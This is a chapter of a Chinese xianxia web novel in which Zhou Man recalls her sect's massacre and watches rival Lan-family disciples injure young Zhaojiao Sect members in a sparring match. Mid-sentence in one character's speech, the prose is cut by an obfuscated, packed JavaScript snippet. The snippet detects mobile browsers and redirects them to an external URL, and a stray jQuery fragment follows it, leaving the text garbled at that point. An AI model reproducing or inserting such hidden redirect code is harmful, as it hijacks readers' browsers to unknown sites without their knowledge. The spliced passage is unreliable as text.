苍行山。
梯田沿上,间隔几户人家,山丘下有一户木屋小院,周漫从中跑出来,蹦蹦跳跳的往山下跑去,周泽从屋里追出,喊道:“周漫!”
周漫没作搭理,继续在崎岖的小路上往下蹦,身段灵巧,一身绿衣活像山间的精灵鸟雀。
轻颜从窗户探出身子,朝坡下问,“带钱了吗?”
周漫这才停下脚回头,扯着嗓子回答:“带了带了!”说完又继续往下跑了,满心都是去玩,全然没注意身上掉落了东西。
到了山下,一脚踩在了“苍行山”的牌子上,毫不在意的甩了甩脑袋,看着眼前的小村落。
路过的村民都笑吟吟的看着她,有熟识的都打招呼问她,“小满,又出去玩呢?”
周漫“嗯嗯”的回应,热情哦打招呼,“胡婶,你上次送的荞饼特别好吃!”
“赵叔,你下次能不能别把羊放我家地里,苞米都被啃完了!”
“李老板,一会给我哥送点饲料。”
她一阵风似的,人走过话留下,路上的小孩看见她都“咯咯咯”的笑,下一刻怀里就多了几颗糖,于是笑的更开心了追着她喊,“小满姐姐……”
“呼。”
周漫停在了胭脂铺前,人没站稳钱就扔柜台上了,喊道:“老样子。”
没等老板出来,人就消失不见。
周漫一个没注意差点撞到人,乱七八糟扭动一阵后停下,看着眼前从没见过的小姑娘,弯着腰小声问,“你是哪家的小孩呀?”
小孩呆愣的看着她,稚声稚气的答,“爹爹何改,娘亲纪柳。”
“原来是你呀,之之小朋友,好久不见呀,我是小满姐姐,给你糖吃。”周漫想起她是谁,上次见还在父母怀里,这次见都能自己走路了,她爹娘定居后开了一家胭脂铺,小村落胭脂水粉稀罕,周漫常买回去送颜轻,只是每次都匆匆忙忙,都没照看过小不点,心里亏欠,于是把兜里所有的糖都给她,顺便轻轻捏了捏她肉嘟嘟的脸,“姐姐有事,下次回来带你玩好不好?”
小孩木讷的接过糖,直勾勾的看着她,见她站起身要走,突然问:“你有什么事?”
“啊?”周漫没想到她问这个,“嘿嘿”笑着挠头,“玄鸣会啊,我要去参加玄鸣会。”
小孩疑惑:“那是什么?”
周漫看着她纯真无邪的脸,弯下腰,“等你长大点,姐姐收你为徒,送你苍行山最漂亮的剑,到时候带你去参加,你自己去看看就知道了。”
小孩还是满眼疑惑,周漫轻轻揉了揉她脑袋,“冶容,”她召出剑来,在小孩惊讶的神情中跳上了剑,“咻”一下就飞往前了。
周漫回头看她,扬了扬下巴,“等我回来嗷。”
小孩注视着她离开。
场景一转,梯田践踏成平地,泥水染成土红色,木屋小院夷为平地,山下村落成了废墟,空气中弥漫着血腥味。
周漫在废墟中叫喊,搬开房梁和巨石,刘婶、胡婶、赵叔……无一生还。
她跪在废墟中,悲痛欲绝。
“快跑!”
一声喊叫,周漫回头看去,烟雾缭绕中只见一道矮小的身影,紧接着惊醒过来。
周漫看着绿色床帐,惊魂未定。
脑海中,矮小的身影与何之之的身影重叠,何之之的父母改名换姓住在村落里,是她应承他们留下,后来她被鉴镜司的事耽搁,每次只在胭脂铺外瞥上几眼,没有发现奇怪之处,他们便久居于苍行山。
苍行山覆灭起因是上清门掌门宋城指认周泽勾结妖物,祸乱仙门,想破玄台封神阵放出妖神。
她成妖主后查证是诬陷,宋城认罪,是他想拉拢周泽放妖神,周泽不肯,他威逼利诱想逼他就范,失手杀了他。
苍行山被屠,她以为是宋城怕风声走漏,现在看来,恐怕另有原由。
周漫心里越想越惊,她成妖主后直逼清净山,宋城成为阶下囚,她以上清门所有生灵性命做要挟,只求一个真相,逼他在仙门百家面前承认罪行。
宋城死前说她一无所知,她只当他是不想死没有留手,现在想想,疑点重重,或许从一开始就错了。
往事历历在目,玄台上血流涌注,仙门中有人朝她大喊大叫,拖绑着走也不肯罢休,一次比一次高昂。
是什么?她记不清了,但尤为重要,那人是谁?
心肺剧痛,周漫按着心口大口喘息,汗如雨下,许久才松泛下来。
她提醒自己不能操之过急,极有可能是圈套,要静再静才能思绪明晰,不做他人利己的棋子。
周漫收拾好情绪,换了衣服推门而出,时也在亭中,一身青衫,她凑前看,平日里杂乱的眉毛修整过,头发绑的齐齐整整。
还以为他酒醒就忘了,没想到还记得。
桌上摆了早点,她伸了个懒腰坐下,故意不看他,专心的吃包子喝豆浆。
时也也坐下,把包子馒头都挪到面前。
“昨晚梦里我想起来了,何之之的父母的确在苍行山山下的村落生活,只是改名换姓,我没发现问题,应承他们落脚,兄长信我没查。”
她正好吃完搁下碗,转身看向他。
时也微微蹙眉,试探性的询问:“你怀疑,苍行山的事或许与他们有关?”
“只是或许,”周漫神色一沉,冷声道,“还没有明确的线索,不能妄自揣测,落入圈套。”
“是,长乐极来的蹊跷,像是有人故意引导,我们要三思而行。”
“待一个多月了,也该赶赶进程了,我去找小柳说说,这两日就动身吧。”
时也随她起身,“我和你一起去。”
周漫点头,低头看他腰间挂着的坠子,月牙形状,观色泽和切口价值不菲,她仰头看他,故意打趣,“时公子一向素雅,怎么突然舍得给自己花钱了?”
时也歪头看她,一本正经的回答:“心上人嫌我粗鄙,喜外面的俊俏公子,我自然要收拾打扮,不然心上人真找了新欢,我哭都没地哭。”
“别说,你哭起来挺好看的。”
周漫嬉嬉笑笑,正想扒拉他的发带就听见一阵打斗声,两人同时扭头看去,前面就是照交派练武场,平日里他们练武动静没这么大,看来是有事发生。
她细一听,东方持破嗓子尤为明显,立刻就跑了过去。
练武场围满了人,她挤不进去,干脆往房顶上跃,片刻时也跟着上来,后来的人也随之效仿,练武场便是上上下下、里里外外都围满了人,中间站着几人对峙。
照交派弟子为首的是郁少文和郁岁安,后面站着的是元凡和东方持,而他们对面气势汹汹的人,腰间有腰牌,服装是统一银白色制服,看样子也是仙门弟子,只是她不认识。
“什么来头?”
时也:“兰家,风云城以清派。”
周漫:“风云城不就一个上清门?”
时也看左右人多起来,捏了传音诀同她解释,“兰家原是上清门一系,妖乱时有功,对上清门有救助之恩,独立门派于市集中,连街都改叫兰家街了,在仙门中如日中天。”
“哦。”
周漫点头,目不转睛的看着练武场,看几个小孩的架势,应该是打过一场,目光最后落在一个角落,大热的天披斗篷,戴面具,可惜气息周漫太熟悉,不由得扯了扯嘴角,撞了撞时也的肩提醒他看。
时也:“柳良德?”
周漫点头,在沧霁柳良才用柳良德的身份行事,他还以为柳良德不会再大张旗鼓出现在人前,这两人闹得哪一出,真是叫人捉摸不透。
场上气氛严峻,柳良德的事只能按下不谈,两人重新看向中央,只听郁少文怒喝:“兰玉!你欺人太甚!”
“郁同修说的什么话,少主允诺我们与照交派弟子讨论修行之道,不过是切磋切磋,我还怕伤了小公子,特意让我小小随从清别手下留情,看来小公子金枝玉叶,是我们冒昧,还请见谅,莫要告到前辈那去,我们受罚事小,伤了门派和气就不好了。”
兰玉故意咬重“随从”和“金枝玉叶”几字,明摆着是挑衅。
周漫都听不下去,更别说下面年纪轻受不得激的几个,吵吵嚷嚷,骂骂咧咧,要不是郁少文拦着,其他人已经冲上去了。
兰玉虽才五阶上,但他身边的兰请别六阶中,年纪轻轻修为不低,同龄中的佼佼者,纵观在场的照交派弟子,确实没有能与之匹敌的人。
“可还有同修想切磋切磋?”兰玉故意问,目光环视一圈,面上客气,言语嘲讽,“来前,我师父千叮咛万嘱咐,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15355350|147366||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
照交派几百年的世家底蕴,让我们一定要多看多问多学,这值得学的实在是没看到没听到啊,清别啊,你说师父问起,我该如何说?”
兰清别垂首,面无表情的接话:“公子,就说,不过尔尔。”
郁岁安推开搀扶的人,怒吼:“再来!”
话音未落,一口鲜血吐了出来,周漫心里一急想跳下去,时也眼疾手快拉住了她,小声道,“你能护他们一辈子不成?”
闻言,周漫镇定下来。
郁少文紧张郁岁安冲动,按着他不让再动,盯着肆意挑衅的兰家人,怒火中烧,少主应允他们讨教,他们借此故意羞辱,奈何他修为不够,高阶的同辈皆因玄鸣会出门修行去了,派中空虚,这明摆着趁机羞辱。
东方持唤出“召晴”,长枪破地,挺身而出,“休要嚣张,我同你打!”
兰玉上下打量他,“你不是照交派弟子。”
“长板派,东方持。”
兰玉嗤笑,摆手往后退,兰清别直言嘲讽,“没听过的野鸡门派,也配和我交手?”
“口出狂言!”
东方持一枪横扫,将人全都清退,提枪进击,兰清别接招不疾不徐,手腕上似有武器挡住了他的枪击,灵力凝结,时而有细小的利器飞出,招式诡秘。
周漫看清了他的招式,全都是趁其不备攻其命脉的手段,“暗器?”
“没错,是暗器。”谢此亦不知何时来的,一个翻身到他们身边坐下,分给他们瓜子,自己“咔嚓”先嗑起,边看边说,“上清门原有三家,宋家、厉家和兰家,几千年一代又一代,宋家势壮,其他两家势微,所以世人提起上清门只知道宋家,不知其余两家。”
“不说厉家,这兰家在上清门虽不得重用,但其在暗器一道匠心独运,我父亲说兰家的家主兰林含是个暗器鬼才。”
周漫看兰清别令人眼花缭乱的手法,虽招招致命,但都能及时收手调转方向,东方持几次死里逃生而不觉,不得不承认兰家暗器的厉害。
暗器离不开御器,平日御剑,御物与暗器不同,暗器讲究精细、灵巧,要更精准,更敏锐,故而对灵力的掌控要求更高。
东方持使枪与之对打,不论阶品高低,从一开始就落了下风。
周漫挠了挠头,长叹一口气也嗑起瓜子。
时也把瓜子都给她,轻声道,“虽使诡术,却遵君子之行,只是个外门,着实可惜。”
谢此亦:“仙门苦内门外门久矣。”
青亭派主修炼器,自谢此亦祖辈外姓入祠堂开始,便以贤德者为先,不分内门外门,后来青亭派人才辈出,每回玄鸣会都榜上有名。
虽然有些门派效仿,但大多门派,尤其是百年世家仍旧顽固不化,没想到上清门出的外门开宗立派,仍遵循内门外门之分。
周漫咂舌,叹着气嗑瓜子。
东方持被打的节节败退就是不肯认输,手在流血也不肯退让,喊着,“再来!”
“跟他姐一样,不死不休。”
谢此亦坐直身子,看得眉头紧皱。
东方千树对敌也是如此执拗,除非站不起身,提不起剑,否则绝不下场,就算被打趴下了也不会求饶一个字,谢此亦说她是仙门第一犟种,周漫和她打过,深受其害,对此深以为然。
输赢已然明了,只是东方持不肯认输,兰清别又不伤他,局势便僵持着。
兰玉冷声道:“清别,你还不快点!”
话音未落,东方持长枪脱手,被什么东西击退,从空中坠落,元凡忙接住他,落地后吐血不止,气息紊乱,灵海躁动。
郁少文愤怒:“你故意伤人!”
兰清别错愕,紧握着拳低下头不应声。
兰玉冷笑:“什么故意杀人,是他学艺不精,灵力逆转伤了自己。”
“无事,是银丝,偏了几寸。”时也安抚周漫,他早有防备,兰玉暗使出银丝时他出手打偏了几寸,东方持只是被气灌了喉管,不伤及性命。
兰玉看着一双双幽怨的眼睛,咧嘴大笑,连装都懒得装了,朝兰清别勾手,“都是废物,没什么好学的,走吧。”
“照交派郁少文,请教!”
郁少文飞身上前拦住他们的路,脱下手上脚上的沙袋,气势凌人,眼露杀意。